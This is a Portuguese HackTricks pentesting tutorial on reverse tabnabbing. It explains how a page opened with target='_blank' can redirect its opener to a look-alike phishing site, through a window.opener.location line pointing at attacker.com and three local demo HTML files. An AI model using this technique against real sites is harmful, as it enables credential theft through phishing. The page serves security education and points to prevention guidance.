hacktricks/pentesting-web/reverse-tab-nabbing.md

6.5 KiB

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Descrição

Em uma situação em que um atacante pode controlar o argumento href de uma tag <a com o atributo target="_blank" rel="opener" que será clicado por uma vítima, o atacante pode apontar este link para um site sob seu controle (um site malicioso). Então, uma vez que a vítima clica no link e acessa o site do atacante, este site malicioso será capaz de controlar a página original via o objeto javascript window.opener.
Se a página não tiver rel="opener" mas contiver target="_blank" e também não tiver rel="noopener" ela também pode ser vulnerável.

Uma maneira comum de abusar desse comportamento seria alterar a localização do site original via window.opener.location = https://attacker.com/victim.html para um site controlado pelo atacante que parece com o original, para que possa imitar o formulário de login do site original e solicitar credenciais ao usuário.

No entanto, observe que como o atacante agora pode controlar o objeto de janela do site original ele pode abusar de outras maneiras para realizar ataques mais furtivos (talvez modificando eventos javascript para exfiltrar informações para um servidor controlado por ele?)

Visão Geral

Link entre páginas pai e filho quando o atributo de prevenção não é usado:

https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png

Link entre páginas pai e filho quando o atributo de prevenção é usado:

https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITHOUT_LINK.png

Exemplos

Crie as seguintes páginas em uma pasta e execute um servidor web com python3 -m http.server
Em seguida, acessar http://127.0.0.1:8000/vulnerable.html, clique no link e observe como a URL do site original muda.

{% code title="vulnerable.html" %}

<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>

{% endcode %}

{% code title="malicious.html" %}

<!DOCTYPE html>
<html>
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
</html>

{% endcode %}

{% code title="malicious_redir.html" %}

<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>

{% endcode %}

Propriedades acessíveis

No cenário em que ocorre um acesso cross-origin (acesso entre diferentes domínios), as propriedades da instância da classe JavaScript window, referenciadas pelo objeto JavaScript opener, que podem ser acessadas por um site malicioso são limitadas às seguintes:

  • opener.closed: Esta propriedade é acessada para determinar se uma janela foi fechada, retornando um valor booleano.
  • opener.frames: Esta propriedade fornece acesso a todos os elementos iframe dentro da janela atual.
  • opener.length: O número de elementos iframe presentes na janela atual é retornado por esta propriedade.
  • opener.opener: Uma referência à janela que abriu a janela atual pode ser obtida através desta propriedade.
  • opener.parent: Esta propriedade retorna a janela pai da janela atual.
  • opener.self: O acesso à própria janela atual é fornecido por esta propriedade.
  • opener.top: Esta propriedade retorna a janela do navegador mais acima.

No entanto, em casos em que os domínios são idênticos, o site malicioso ganha acesso a todas as propriedades expostas pela referência do objeto JavaScript window.

Prevenção

As informações de prevenção estão documentadas na HTML5 Cheat Sheet.

Referências

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks: